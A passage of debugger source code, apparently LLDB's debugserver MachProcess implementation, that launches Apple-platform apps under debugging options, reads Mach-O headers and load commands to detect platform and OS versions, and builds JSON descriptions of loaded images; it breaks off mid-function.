#include "PseudoTerminal.h"
#include "CFBundle.h"
#include "CFString.h"
#ifndef PLATFORM_BRIDGEOS
#define PLATFORM_BRIDGEOS 5
#endif
#ifndef PLATFORM_MACCATALYST
#define PLATFORM_MACCATALYST 6
#endif
#ifndef PLATFORM_IOSSIMULATOR
#define PLATFORM_IOSSIMULATOR 7
#endif
#ifndef PLATFORM_TVOSSIMULATOR
#define PLATFORM_TVOSSIMULATOR 8
#endif
#ifndef PLATFORM_WATCHOSSIMULATOR
#define PLATFORM_WATCHOSSIMULATOR 9
#endif
#ifndef PLATFORM_DRIVERKIT
#define PLATFORM_DRIVERKIT 10
#endif
#ifdef WITH_SPRINGBOARD
#include <CoreFoundation/CoreFoundation.h>
#include <SpringBoardServices/SBSWatchdogAssertion.h>
#include <SpringBoardServices/SpringBoardServer.h>
#endif // WITH_SPRINGBOARD
#if WITH_CAROUSEL
// For definition of CSLSOpenApplicationOptionForClockKit.
#include <CarouselServices/CSLSOpenApplicationOptions.h>
#endif // WITH_CAROUSEL
#if defined(WITH_SPRINGBOARD) || defined(WITH_BKS) || defined(WITH_FBS)
// This returns a CFRetained pointer to the Bundle ID for app_bundle_path,
// or NULL if there was some problem getting the bundle id.
static CFStringRef CopyBundleIDForPath(const char *app_bundle_path,
DNBError &err_str);
#endif
#if defined(WITH_BKS) || defined(WITH_FBS)
#import <Foundation/Foundation.h>
static const int OPEN_APPLICATION_TIMEOUT_ERROR = 111;
typedef void (*SetErrorFunction)(NSInteger, std::string, DNBError &);
typedef bool (*CallOpenApplicationFunction)(NSString *bundleIDNSStr,
NSDictionary *options,
DNBError &error, pid_t *return_pid);
// This function runs the BKSSystemService (or FBSSystemService) method
// openApplication:options:clientPort:withResult,
// messaging the app passed in bundleIDNSStr.
// The function should be run inside of an NSAutoReleasePool.
//
// It will use the "options" dictionary passed in, and fill the error passed in
// if there is an error.
// If return_pid is not NULL, we'll fetch the pid that was made for the
// bundleID.
// If bundleIDNSStr is NULL, then the system application will be messaged.
template <typename OpenFlavor, typename ErrorFlavor,
ErrorFlavor no_error_enum_value, SetErrorFunction error_function>
static bool CallBoardSystemServiceOpenApplication(NSString *bundleIDNSStr,
NSDictionary *options,
DNBError &error,
pid_t *return_pid) {
// Now make our systemService:
OpenFlavor *system_service = [[OpenFlavor alloc] init];
if (bundleIDNSStr == nil) {
bundleIDNSStr = [system_service systemApplicationBundleIdentifier];
if (bundleIDNSStr == nil) {
// Okay, no system app...
error.SetErrorString("No system application to message.");
return false;
}
}
mach_port_t client_port = [system_service createClientPort];
__block dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
__block ErrorFlavor open_app_error = no_error_enum_value;
__block std::string open_app_error_string;
bool wants_pid = (return_pid != NULL);
__block pid_t pid_in_block;
const char *cstr = [bundleIDNSStr UTF8String];
if (!cstr)
cstr = "<Unknown Bundle ID>";
NSString *description = [options description];
DNBLog("[LaunchAttach] START (%d) templated *Board launcher: app lunch "
"request for "
"'%s' - options:\n%s",
getpid(), cstr, [description UTF8String]);
[system_service
openApplication:bundleIDNSStr
options:options
clientPort:client_port
withResult:^(NSError *bks_error) {
// The system service will cleanup the client port we created for
// us.
if (bks_error)
open_app_error = (ErrorFlavor)[bks_error code];
if (open_app_error == no_error_enum_value) {
if (wants_pid) {
pid_in_block =
[system_service pidForApplication:bundleIDNSStr];
DNBLog("[LaunchAttach] In completion handler, got pid for "
"bundle id "
"'%s', pid: %d.",
cstr, pid_in_block);
} else {
DNBLog("[LaunchAttach] In completion handler, launch was "
"successful, "
"debugserver did not ask for the pid");
}
} else {
const char *error_str =
[(NSString *)[bks_error localizedDescription] UTF8String];
if (error_str) {
open_app_error_string = error_str;
DNBLogError(
"[LaunchAttach] END (%d) In app launch attempt, got error "
"localizedDescription '%s'.",
getpid(), error_str);
const char *obj_desc =
[NSString stringWithFormat:@"%@", bks_error].UTF8String;
DNBLogError(
"[LaunchAttach] END (%d) In app launch attempt, got error "
"NSError object description: '%s'.",
getpid(), obj_desc);
}
DNBLogThreadedIf(LOG_PROCESS,
"In completion handler for send "
"event, got error \"%s\"(%ld).",
error_str ? error_str : "<unknown error>",
(long)open_app_error);
}
[system_service release];
dispatch_semaphore_signal(semaphore);
}
];
const uint32_t timeout_secs = 30;
dispatch_time_t timeout =
dispatch_time(DISPATCH_TIME_NOW, timeout_secs * NSEC_PER_SEC);
long success = dispatch_semaphore_wait(semaphore, timeout) == 0;
dispatch_release(semaphore);
DNBLog("[LaunchAttach] END (%d) templated *Board launcher finished app lunch "
"request for "
"'%s'",
getpid(), cstr);
if (!success) {
DNBLogError("[LaunchAttach] END (%d) timed out trying to send "
"openApplication to %s.",
getpid(), cstr);
error.SetError(OPEN_APPLICATION_TIMEOUT_ERROR, DNBError::Generic);
error.SetErrorString("timed out trying to launch app");
} else if (open_app_error != no_error_enum_value) {
error_function(open_app_error, open_app_error_string, error);
DNBLogError("[LaunchAttach] END (%d) unable to launch the application with "
"CFBundleIdentifier '%s' "
"bks_error = %ld",
getpid(), cstr, (long)open_app_error);
success = false;
} else if (wants_pid) {
*return_pid = pid_in_block;
DNBLogThreadedIf(
LOG_PROCESS,
"Out of completion handler, pid from block %d and passing out: %d",
pid_in_block, *return_pid);
}
return success;
}
#endif
#if defined(WITH_BKS) || defined(WITH_FBS)
static void SplitEventData(const char *data, std::vector<std::string> &elements)
{
elements.clear();
if (!data)
return;
const char *start = data;
while (*start != '\0') {
const char *token = strchr(start, ':');
if (!token) {
elements.push_back(std::string(start));
return;
}
if (token != start)
elements.push_back(std::string(start, token - start));
start = ++token;
}
}
#endif
#ifdef WITH_BKS
#import <Foundation/Foundation.h>
extern "C" {
#import <BackBoardServices/BKSOpenApplicationConstants_Private.h>
#import <BackBoardServices/BKSSystemService_LaunchServices.h>
#import <BackBoardServices/BackBoardServices.h>
}
static bool IsBKSProcess(nub_process_t pid) {
BKSApplicationStateMonitor *state_monitor =
[[BKSApplicationStateMonitor alloc] init];
BKSApplicationState app_state =
[state_monitor mostElevatedApplicationStateForPID:pid];
return app_state != BKSApplicationStateUnknown;
}
static void SetBKSError(NSInteger error_code,
std::string error_description,
DNBError &error) {
error.SetError(error_code, DNBError::BackBoard);
NSString *err_nsstr = ::BKSOpenApplicationErrorCodeToString(
(BKSOpenApplicationErrorCode)error_code);
std::string err_str = "unknown BKS error";
if (error_description.empty() == false) {
err_str = error_description;
} else if (err_nsstr != nullptr) {
err_str = [err_nsstr UTF8String];
}
error.SetErrorString(err_str.c_str());
}
static bool BKSAddEventDataToOptions(NSMutableDictionary *options,
const char *event_data,
DNBError &option_error) {
std::vector<std::string> values;
SplitEventData(event_data, values);
bool found_one = false;
for (std::string value : values)
{
if (value.compare("BackgroundContentFetching") == 0) {
DNBLog("Setting ActivateForEvent key in options dictionary.");
NSDictionary *event_details = [NSDictionary dictionary];
NSDictionary *event_dictionary = [NSDictionary
dictionaryWithObject:event_details
forKey:
BKSActivateForEventOptionTypeBackgroundContentFetching];
[options setObject:event_dictionary
forKey:BKSOpenApplicationOptionKeyActivateForEvent];
found_one = true;
} else if (value.compare("ActivateSuspended") == 0) {
DNBLog("Setting ActivateSuspended key in options dictionary.");
[options setObject:@YES forKey: BKSOpenApplicationOptionKeyActivateSuspended];
found_one = true;
} else {
DNBLogError("Unrecognized event type: %s. Ignoring.", value.c_str());
option_error.SetErrorString("Unrecognized event data");
}
}
return found_one;
}
static NSMutableDictionary *BKSCreateOptionsDictionary(
const char *app_bundle_path, NSMutableArray *launch_argv,
NSMutableDictionary *launch_envp, NSString *stdio_path, bool disable_aslr,
const char *event_data) {
NSMutableDictionary *debug_options = [NSMutableDictionary dictionary];
if (launch_argv != nil)
[debug_options setObject:launch_argv forKey:BKSDebugOptionKeyArguments];
if (launch_envp != nil)
[debug_options setObject:launch_envp forKey:BKSDebugOptionKeyEnvironment];
[debug_options setObject:stdio_path forKey:BKSDebugOptionKeyStandardOutPath];
[debug_options setObject:stdio_path
forKey:BKSDebugOptionKeyStandardErrorPath];
[debug_options setObject:[NSNumber numberWithBool:YES]
forKey:BKSDebugOptionKeyWaitForDebugger];
if (disable_aslr)
[debug_options setObject:[NSNumber numberWithBool:YES]
forKey:BKSDebugOptionKeyDisableASLR];
// That will go in the overall dictionary:
NSMutableDictionary *options = [NSMutableDictionary dictionary];
[options setObject:debug_options
forKey:BKSOpenApplicationOptionKeyDebuggingOptions];
// And there are some other options at the top level in this dictionary:
[options setObject:[NSNumber numberWithBool:YES]
forKey:BKSOpenApplicationOptionKeyUnlockDevice];
DNBError error;
BKSAddEventDataToOptions(options, event_data, error);
return options;
}
static CallOpenApplicationFunction BKSCallOpenApplicationFunction =
CallBoardSystemServiceOpenApplication<
BKSSystemService, BKSOpenApplicationErrorCode,
BKSOpenApplicationErrorCodeNone, SetBKSError>;
#endif // WITH_BKS
#ifdef WITH_FBS
#import <Foundation/Foundation.h>
extern "C" {
#import <FrontBoardServices/FBSOpenApplicationConstants_Private.h>
#import <FrontBoardServices/FBSSystemService_LaunchServices.h>
#import <FrontBoardServices/FrontBoardServices.h>
#import <MobileCoreServices/LSResourceProxy.h>
#import <MobileCoreServices/MobileCoreServices.h>
}
#ifdef WITH_BKS
static bool IsFBSProcess(nub_process_t pid) {
BKSApplicationStateMonitor *state_monitor =
[[BKSApplicationStateMonitor alloc] init];
BKSApplicationState app_state =
[state_monitor mostElevatedApplicationStateForPID:pid];
return app_state != BKSApplicationStateUnknown;
}
#else
static bool IsFBSProcess(nub_process_t pid) {
// FIXME: What is the FBS equivalent of BKSApplicationStateMonitor
return false;
}
#endif
static void SetFBSError(NSInteger error_code,
std::string error_description,
DNBError &error) {
error.SetError((DNBError::ValueType)error_code, DNBError::FrontBoard);
NSString *err_nsstr = ::FBSOpenApplicationErrorCodeToString(
(FBSOpenApplicationErrorCode)error_code);
std::string err_str = "unknown FBS error";
if (error_description.empty() == false) {
err_str = error_description;
} else if (err_nsstr != nullptr) {
err_str = [err_nsstr UTF8String];
}
error.SetErrorString(err_str.c_str());
}
static bool FBSAddEventDataToOptions(NSMutableDictionary *options,
const char *event_data,
DNBError &option_error) {
std::vector<std::string> values;
SplitEventData(event_data, values);
bool found_one = false;
for (std::string value : values)
{
if (value.compare("BackgroundContentFetching") == 0) {
DNBLog("Setting ActivateForEvent key in options dictionary.");
NSDictionary *event_details = [NSDictionary dictionary];
NSDictionary *event_dictionary = [NSDictionary
dictionaryWithObject:event_details
forKey:
FBSActivateForEventOptionTypeBackgroundContentFetching];
[options setObject:event_dictionary
forKey:FBSOpenApplicationOptionKeyActivateForEvent];
found_one = true;
} else if (value.compare("ActivateSuspended") == 0) {
DNBLog("Setting ActivateSuspended key in options dictionary.");
[options setObject:@YES forKey: FBSOpenApplicationOptionKeyActivateSuspended];
found_one = true;
#if WITH_CAROUSEL
} else if (value.compare("WatchComplicationLaunch") == 0) {
DNBLog("Setting FBSOpenApplicationOptionKeyActivateSuspended key in options dictionary.");
[options setObject:@YES forKey: CSLSOpenApplicationOptionForClockKit];
found_one = true;
#endif // WITH_CAROUSEL
} else {
DNBLogError("Unrecognized event type: %s. Ignoring.", value.c_str());
option_error.SetErrorString("Unrecognized event data.");
}
}
return found_one;
}
static NSMutableDictionary *
FBSCreateOptionsDictionary(const char *app_bundle_path,
NSMutableArray *launch_argv,
NSDictionary *launch_envp, NSString *stdio_path,
bool disable_aslr, const char *event_data) {
NSMutableDictionary *debug_options = [NSMutableDictionary dictionary];
if (launch_argv != nil)
[debug_options setObject:launch_argv forKey:FBSDebugOptionKeyArguments];
if (launch_envp != nil)
[debug_options setObject:launch_envp forKey:FBSDebugOptionKeyEnvironment];
[debug_options setObject:stdio_path forKey:FBSDebugOptionKeyStandardOutPath];
[debug_options setObject:stdio_path
forKey:FBSDebugOptionKeyStandardErrorPath];
[debug_options setObject:[NSNumber numberWithBool:YES]
forKey:FBSDebugOptionKeyWaitForDebugger];
if (disable_aslr)
[debug_options setObject:[NSNumber numberWithBool:YES]
forKey:FBSDebugOptionKeyDisableASLR];
// That will go in the overall dictionary:
NSMutableDictionary *options = [NSMutableDictionary dictionary];
[options setObject:debug_options
forKey:FBSOpenApplicationOptionKeyDebuggingOptions];
// And there are some other options at the top level in this dictionary:
[options setObject:[NSNumber numberWithBool:YES]
forKey:FBSOpenApplicationOptionKeyUnlockDevice];
// We have to get the "sequence ID & UUID" for this app bundle path and send
// them to FBS:
NSURL *app_bundle_url =
[NSURL fileURLWithPath:[NSString stringWithUTF8String:app_bundle_path]
isDirectory:YES];
LSApplicationProxy *app_proxy =
[LSApplicationProxy applicationProxyForBundleURL:app_bundle_url];
if (app_proxy) {
DNBLog("Sending AppProxy info: sequence no: %lu, GUID: %s.",
app_proxy.sequenceNumber,
[app_proxy.cacheGUID.UUIDString UTF8String]);
[options
setObject:[NSNumber numberWithUnsignedInteger:app_proxy.sequenceNumber]
forKey:FBSOpenApplicationOptionKeyLSSequenceNumber];
[options setObject:app_proxy.cacheGUID.UUIDString
forKey:FBSOpenApplicationOptionKeyLSCacheGUID];
}
DNBError error;
FBSAddEventDataToOptions(options, event_data, error);
return options;
}
static CallOpenApplicationFunction FBSCallOpenApplicationFunction =
CallBoardSystemServiceOpenApplication<
FBSSystemService, FBSOpenApplicationErrorCode,
FBSOpenApplicationErrorCodeNone, SetFBSError>;
#endif // WITH_FBS
#if 0
#define DEBUG_LOG(fmt, ...) printf(fmt, ##__VA_ARGS__)
#else
#define DEBUG_LOG(fmt, ...)
#endif
#ifndef MACH_PROCESS_USE_POSIX_SPAWN
#define MACH_PROCESS_USE_POSIX_SPAWN 1
#endif
#ifndef _POSIX_SPAWN_DISABLE_ASLR
#define _POSIX_SPAWN_DISABLE_ASLR 0x0100
#endif
MachProcess::MachProcess()
: m_pid(0), m_cpu_type(0), m_child_stdin(-1), m_child_stdout(-1),
m_child_stderr(-1), m_path(), m_args(), m_task(this),
m_flags(eMachProcessFlagsNone), m_stdio_thread(0),
m_stdio_mutex(PTHREAD_MUTEX_RECURSIVE), m_stdout_data(),
m_profile_enabled(false), m_profile_interval_usec(0), m_profile_thread(0),
m_profile_data_mutex(PTHREAD_MUTEX_RECURSIVE), m_profile_data(),
m_profile_events(0, eMachProcessProfileCancel), m_thread_actions(),
m_exception_messages(),
m_exception_messages_mutex(PTHREAD_MUTEX_RECURSIVE), m_thread_list(),
m_activities(), m_state(eStateUnloaded),
m_state_mutex(PTHREAD_MUTEX_RECURSIVE), m_events(0, kAllEventsMask),
m_private_events(0, kAllEventsMask), m_breakpoints(), m_watchpoints(),
m_name_to_addr_callback(NULL), m_name_to_addr_baton(NULL),
m_image_infos_callback(NULL), m_image_infos_baton(NULL),
m_sent_interrupt_signo(0), m_auto_resume_signo(0), m_did_exec(false),
m_dyld_process_info_create(nullptr),
m_dyld_process_info_for_each_image(nullptr),
m_dyld_process_info_release(nullptr),
m_dyld_process_info_get_cache(nullptr),
m_dyld_process_info_get_state(nullptr) {
m_dyld_process_info_create =
(void *(*)(task_t task, uint64_t timestamp, kern_return_t * kernelError))
dlsym(RTLD_DEFAULT, "_dyld_process_info_create");
m_dyld_process_info_for_each_image =
(void (*)(void *info, void (^)(uint64_t machHeaderAddress,
const uuid_t uuid, const char *path)))
dlsym(RTLD_DEFAULT, "_dyld_process_info_for_each_image");
m_dyld_process_info_release =
(void (*)(void *info))dlsym(RTLD_DEFAULT, "_dyld_process_info_release");
m_dyld_process_info_get_cache = (void (*)(void *info, void *cacheInfo))dlsym(
RTLD_DEFAULT, "_dyld_process_info_get_cache");
m_dyld_process_info_get_platform = (uint32_t (*)(void *info))dlsym(
RTLD_DEFAULT, "_dyld_process_info_get_platform");
m_dyld_process_info_get_state = (void (*)(void *info, void *stateInfo))dlsym(
RTLD_DEFAULT, "_dyld_process_info_get_state");
DNBLogThreadedIf(LOG_PROCESS | LOG_VERBOSE, "%s", __PRETTY_FUNCTION__);
}
MachProcess::~MachProcess() {
DNBLogThreadedIf(LOG_PROCESS | LOG_VERBOSE, "%s", __PRETTY_FUNCTION__);
Clear();
}
pid_t MachProcess::SetProcessID(pid_t pid) {
// Free any previous process specific data or resources
Clear();
// Set the current PID appropriately
if (pid == 0)
m_pid = ::getpid();
else
m_pid = pid;
return m_pid; // Return actually PID in case a zero pid was passed in
}
nub_state_t MachProcess::GetState() {
// If any other threads access this we will need a mutex for it
PTHREAD_MUTEX_LOCKER(locker, m_state_mutex);
return m_state;
}
const char *MachProcess::ThreadGetName(nub_thread_t tid) {
return m_thread_list.GetName(tid);
}
nub_state_t MachProcess::ThreadGetState(nub_thread_t tid) {
return m_thread_list.GetState(tid);
}
nub_size_t MachProcess::GetNumThreads() const {
return m_thread_list.NumThreads();
}
nub_thread_t MachProcess::GetThreadAtIndex(nub_size_t thread_idx) const {
return m_thread_list.ThreadIDAtIndex(thread_idx);
}
nub_thread_t
MachProcess::GetThreadIDForMachPortNumber(thread_t mach_port_number) const {
return m_thread_list.GetThreadIDByMachPortNumber(mach_port_number);
}
nub_bool_t MachProcess::SyncThreadState(nub_thread_t tid) {
MachThreadSP thread_sp(m_thread_list.GetThreadByID(tid));
if (!thread_sp)
return false;
kern_return_t kret = ::thread_abort_safely(thread_sp->MachPortNumber());
DNBLogThreadedIf(LOG_THREAD, "thread = 0x%8.8" PRIx32
" calling thread_abort_safely (tid) => %u "
"(GetGPRState() for stop_count = %u)",
thread_sp->MachPortNumber(), kret,
thread_sp->Process()->StopCount());
if (kret == KERN_SUCCESS)
return true;
else
return false;
}
ThreadInfo::QoS MachProcess::GetRequestedQoS(nub_thread_t tid, nub_addr_t tsd,
uint64_t dti_qos_class_index) {
return m_thread_list.GetRequestedQoS(tid, tsd, dti_qos_class_index);
}
nub_addr_t MachProcess::GetPThreadT(nub_thread_t tid) {
return m_thread_list.GetPThreadT(tid);
}
nub_addr_t MachProcess::GetDispatchQueueT(nub_thread_t tid) {
return m_thread_list.GetDispatchQueueT(tid);
}
nub_addr_t MachProcess::GetTSDAddressForThread(
nub_thread_t tid, uint64_t plo_pthread_tsd_base_address_offset,
uint64_t plo_pthread_tsd_base_offset, uint64_t plo_pthread_tsd_entry_size) {
return m_thread_list.GetTSDAddressForThread(
tid, plo_pthread_tsd_base_address_offset, plo_pthread_tsd_base_offset,
plo_pthread_tsd_entry_size);
}
MachProcess::DeploymentInfo
MachProcess::GetDeploymentInfo(const struct load_command &lc,
uint64_t load_command_address,
bool is_executable) {
DeploymentInfo info;
uint32_t cmd = lc.cmd & ~LC_REQ_DYLD;
// Handle the older LC_VERSION load commands, which don't
// distinguish between simulator and real hardware.
auto handle_version_min = [&](char platform) {
struct version_min_command vers_cmd;
if (ReadMemory(load_command_address, sizeof(struct version_min_command),
&vers_cmd) != sizeof(struct version_min_command))
return;
info.platform = platform;
info.major_version = vers_cmd.version >> 16;
info.minor_version = (vers_cmd.version >> 8) & 0xffu;
info.patch_version = vers_cmd.version & 0xffu;
// Disambiguate legacy simulator platforms.
#if (defined(__x86_64__) || defined(__i386__))
// If we are running on Intel macOS, it is safe to assume this is
// really a back-deploying simulator binary.
switch (info.platform) {
case PLATFORM_IOS:
info.platform = PLATFORM_IOSSIMULATOR;
break;
case PLATFORM_TVOS:
info.platform = PLATFORM_TVOSSIMULATOR;
break;
case PLATFORM_WATCHOS:
info.platform = PLATFORM_WATCHOSSIMULATOR;
break;
}
#else
// On an Apple Silicon macOS host, there is no ambiguity. The only
// binaries that use legacy load commands are back-deploying
// native iOS binaries. All simulator binaries use the newer,
// unambiguous LC_BUILD_VERSION load commands.
#endif
};
switch (cmd) {
case LC_VERSION_MIN_IPHONEOS:
handle_version_min(PLATFORM_IOS);
break;
case LC_VERSION_MIN_MACOSX:
handle_version_min(PLATFORM_MACOS);
break;
case LC_VERSION_MIN_TVOS:
handle_version_min(PLATFORM_TVOS);
break;
case LC_VERSION_MIN_WATCHOS:
handle_version_min(PLATFORM_WATCHOS);
break;
#if defined(LC_BUILD_VERSION)
case LC_BUILD_VERSION: {
struct build_version_command build_vers;
if (ReadMemory(load_command_address, sizeof(struct build_version_command),
&build_vers) != sizeof(struct build_version_command))
break;
info.platform = build_vers.platform;
info.major_version = build_vers.minos >> 16;
info.minor_version = (build_vers.minos >> 8) & 0xffu;
info.patch_version = build_vers.minos & 0xffu;
break;
}
#endif
}
// The xctest binary is a pure macOS binary but is launched with
// DYLD_FORCE_PLATFORM=6. In that case, force the platform to
// macCatalyst and use the macCatalyst version of the host OS
// instead of the macOS deployment target.
if (is_executable && GetPlatform() == PLATFORM_MACCATALYST) {
info.platform = PLATFORM_MACCATALYST;
std::string catalyst_version = GetMacCatalystVersionString();
const char *major = catalyst_version.c_str();
char *minor = nullptr;
char *patch = nullptr;
info.major_version = std::strtoul(major, &minor, 10);
info.minor_version = 0;
info.patch_version = 0;
if (minor && *minor == '.') {
info.minor_version = std::strtoul(++minor, &patch, 10);
if (patch && *patch == '.')
info.patch_version = std::strtoul(++patch, nullptr, 10);
}
}
return info;
}
std::optional<std::string>
MachProcess::GetPlatformString(unsigned char platform) {
switch (platform) {
case PLATFORM_MACOS:
return "macosx";
case PLATFORM_MACCATALYST:
return "maccatalyst";
case PLATFORM_IOS:
return "ios";
case PLATFORM_IOSSIMULATOR:
return "iossimulator";
case PLATFORM_TVOS:
return "tvos";
case PLATFORM_TVOSSIMULATOR:
return "tvossimulator";
case PLATFORM_WATCHOS:
return "watchos";
case PLATFORM_WATCHOSSIMULATOR:
return "watchossimulator";
case PLATFORM_BRIDGEOS:
return "bridgeos";
case PLATFORM_DRIVERKIT:
return "driverkit";
default:
DNBLogError("Unknown platform %u found for one binary", platform);
return std::nullopt;
}
}
static bool mach_header_validity_test(uint32_t magic, uint32_t cputype) {
if (magic != MH_MAGIC && magic != MH_CIGAM && magic != MH_MAGIC_64 &&
magic != MH_CIGAM_64)
return false;
if (cputype != CPU_TYPE_I386 && cputype != CPU_TYPE_X86_64 &&
cputype != CPU_TYPE_ARM && cputype != CPU_TYPE_ARM64 &&
cputype != CPU_TYPE_ARM64_32)
return false;
return true;
}
// Given an address, read the mach-o header and load commands out of memory to
// fill in
// the mach_o_information "inf" object.
//
// Returns false if there was an error in reading this mach-o file header/load
// commands.
bool MachProcess::GetMachOInformationFromMemory(
uint32_t dyld_platform, nub_addr_t mach_o_header_addr, int wordsize,
struct mach_o_information &inf) {
uint64_t load_cmds_p;
if (wordsize == 4) {
struct mach_header header;
if (ReadMemory(mach_o_header_addr, sizeof(struct mach_header), &header) !=
sizeof(struct mach_header)) {
return false;
}
if (!mach_header_validity_test(header.magic, header.cputype))
return false;
load_cmds_p = mach_o_header_addr + sizeof(struct mach_header);
inf.mach_header.magic = header.magic;
inf.mach_header.cputype = header.cputype;
// high byte of cpusubtype is used for "capability bits", v.
// CPU_SUBTYPE_MASK, CPU_SUBTYPE_LIB64 in machine.h
inf.mach_header.cpusubtype = header.cpusubtype & 0x00ffffff;
inf.mach_header.filetype = header.filetype;
inf.mach_header.ncmds = header.ncmds;
inf.mach_header.sizeofcmds = header.sizeofcmds;
inf.mach_header.flags = header.flags;
} else {
struct mach_header_64 header;
if (ReadMemory(mach_o_header_addr, sizeof(struct mach_header_64),
&header) != sizeof(struct mach_header_64)) {
return false;
}
if (!mach_header_validity_test(header.magic, header.cputype))
return false;
load_cmds_p = mach_o_header_addr + sizeof(struct mach_header_64);
inf.mach_header.magic = header.magic;
inf.mach_header.cputype = header.cputype;
// high byte of cpusubtype is used for "capability bits", v.
// CPU_SUBTYPE_MASK, CPU_SUBTYPE_LIB64 in machine.h
inf.mach_header.cpusubtype = header.cpusubtype & 0x00ffffff;
inf.mach_header.filetype = header.filetype;
inf.mach_header.ncmds = header.ncmds;
inf.mach_header.sizeofcmds = header.sizeofcmds;
inf.mach_header.flags = header.flags;
}
for (uint32_t j = 0; j < inf.mach_header.ncmds; j++) {
struct load_command lc;
if (ReadMemory(load_cmds_p, sizeof(struct load_command), &lc) !=
sizeof(struct load_command)) {
return false;
}
if (lc.cmd == LC_SEGMENT) {
struct segment_command seg;
if (ReadMemory(load_cmds_p, sizeof(struct segment_command), &seg) !=
sizeof(struct segment_command)) {
return false;
}
struct mach_o_segment this_seg;
char name[17];
::memset(name, 0, sizeof(name));
memcpy(name, seg.segname, sizeof(seg.segname));
this_seg.name = name;
this_seg.vmaddr = seg.vmaddr;
this_seg.vmsize = seg.vmsize;
this_seg.fileoff = seg.fileoff;
this_seg.filesize = seg.filesize;
this_seg.maxprot = seg.maxprot;
this_seg.initprot = seg.initprot;
this_seg.nsects = seg.nsects;
this_seg.flags = seg.flags;
inf.segments.push_back(this_seg);
if (this_seg.name == "ExecExtraSuspend")
m_task.TaskWillExecProcessesSuspended();
}
if (lc.cmd == LC_SEGMENT_64) {
struct segment_command_64 seg;
if (ReadMemory(load_cmds_p, sizeof(struct segment_command_64), &seg) !=
sizeof(struct segment_command_64)) {
return false;
}
struct mach_o_segment this_seg;
char name[17];
::memset(name, 0, sizeof(name));
memcpy(name, seg.segname, sizeof(seg.segname));
this_seg.name = name;
this_seg.vmaddr = seg.vmaddr;
this_seg.vmsize = seg.vmsize;
this_seg.fileoff = seg.fileoff;
this_seg.filesize = seg.filesize;
this_seg.maxprot = seg.maxprot;
this_seg.initprot = seg.initprot;
this_seg.nsects = seg.nsects;
this_seg.flags = seg.flags;
inf.segments.push_back(this_seg);
if (this_seg.name == "ExecExtraSuspend")
m_task.TaskWillExecProcessesSuspended();
}
if (lc.cmd == LC_UUID) {
struct uuid_command uuidcmd;
if (ReadMemory(load_cmds_p, sizeof(struct uuid_command), &uuidcmd) ==
sizeof(struct uuid_command))
uuid_copy(inf.uuid, uuidcmd.uuid);
}
if (DeploymentInfo deployment_info = GetDeploymentInfo(
lc, load_cmds_p, inf.mach_header.filetype == MH_EXECUTE)) {
std::optional<std::string> lc_platform =
GetPlatformString(deployment_info.platform);
if (dyld_platform != PLATFORM_MACCATALYST &&
inf.min_version_os_name == "macosx") {
// macCatalyst support.
//
// This the special case of "zippered" frameworks that have both
// a PLATFORM_MACOS and a PLATFORM_MACCATALYST load command.
//
// When we are in this block, this is a binary with both
// PLATFORM_MACOS and PLATFORM_MACCATALYST load commands and
// the process is not running as PLATFORM_MACCATALYST. Stick
// with the "macosx" load command that we've already
// processed, ignore this one, which is presumed to be a
// PLATFORM_MACCATALYST one.
} else {
inf.min_version_os_name = lc_platform.value_or("");
inf.min_version_os_version = "";
inf.min_version_os_version +=
std::to_string(deployment_info.major_version);
inf.min_version_os_version += ".";
inf.min_version_os_version +=
std::to_string(deployment_info.minor_version);
if (deployment_info.patch_version != 0) {
inf.min_version_os_version += ".";
inf.min_version_os_version +=
std::to_string(deployment_info.patch_version);
}
}
}
load_cmds_p += lc.cmdsize;
}
return true;
}
// Given completely filled in array of binary_image_information structures,
// create a JSONGenerator object
// with all the details we want to send to lldb.
JSONGenerator::ObjectSP MachProcess::FormatDynamicLibrariesIntoJSON(
const std::vector<struct binary_image_information> &image_infos) {
JSONGenerator::ArraySP image_infos_array_sp(new JSONGenerator::Array());
const size_t image_count = image_infos.size();
for (size_t i = 0; i < image_count; i++) {
if (!image_infos[i].is_valid_mach_header)
continue;
JSONGenerator::DictionarySP image_info_dict_sp(
new JSONGenerator::Dictionary());
image_info_dict_sp->AddIntegerItem("load_address",
image_infos[i].load_address);
image_info_dict_sp->AddIntegerItem("mod_date", image_infos[i].mod_date);
image_info_dict_sp->AddStringItem("pathname", image_infos[i].filename);
uuid_string_t uuidstr;
uuid_unparse_upper(image_infos[i].macho_info.uuid, uuidstr);
image_info_dict_sp->AddStringItem("uuid", uuidstr);
if (!image_infos[i].macho_info.min_version_os_name.empty() &&
!image_infos[i].macho_info.min_version_os_version.empty()) {
image_info_dict_sp->AddStringItem(
"min_version_os_name", image_infos[i].macho_info.min_version_os_name);
image_info_dict_sp->AddStringItem(
"min_version_os_sdk",
image_infos[i].macho_info.min_version_os_version);
}
JSONGenerator::DictionarySP mach_header_dict_sp(
new JSONGenerator::Dictionary());
mach_header_dict_sp->AddIntegerItem(
"magic", image_infos[i].macho_info.mach_header.magic);
mach_header_dict_sp->AddIntegerItem(
"cputype", (uint32_t)image_infos[i].macho_info.mach_header.cputype);
mach_header_dict_sp->AddIntegerItem(
"cpusubtype",
(uint32_t)image_infos[i].macho_info.mach_header.cpusubtype);
mach_header_dict_sp->AddIntegerItem(
"filetype", image_infos[i].macho_info.mach_header.filetype);
mach_header_dict_sp->AddIntegerItem ("flags",
image_infos[i].macho_info.mach_header.flags);
// DynamicLoaderMacOSX doesn't currently need these fields, so
// don't send them.
// mach_header_dict_sp->AddIntegerItem ("ncmds",
// image_infos[i].macho_info.mach_header.ncmds);
// mach_header_dict_sp->AddIntegerItem ("sizeofcmds",
// image_infos[i].macho_info.mach_header.sizeofcmds);
image_info_dict_sp->AddItem("mach_header", mach_header_dict_sp);
JSONGenerator::ArraySP segments_sp(new JSONGenerator::Array());
for (size_t j = 0; j < image_infos[i].macho_info.segments.size(); j++) {
JSONGenerator::DictionarySP segment_sp(new JSONGenerator::Dictionary());
segment_sp->AddStringItem("name",
image_infos[i].macho_info.segments[j].name);
segment_sp->AddIntegerItem("vmaddr",
image_infos[i].macho_info.segments[j].vmaddr);
segment_sp->AddIntegerItem("vmsize",
image_infos[i].macho_info.segments[j].vmsize);
segment_sp->AddIntegerItem("fileoff",
image_infos[i].macho_info.segments[j].fileoff);
segment_sp->AddIntegerItem(
"filesize", image_infos[i].macho_info.segments[j].filesize);
segment_sp->AddIntegerItem("maxprot",
image_infos[i].macho_info.segments[j].maxprot);
// DynamicLoaderMacOSX doesn't currently need these fields,
// so don't send them.
// segment_sp->AddIntegerItem ("initprot",
// image_infos[i].macho_info.segments[j].initprot);
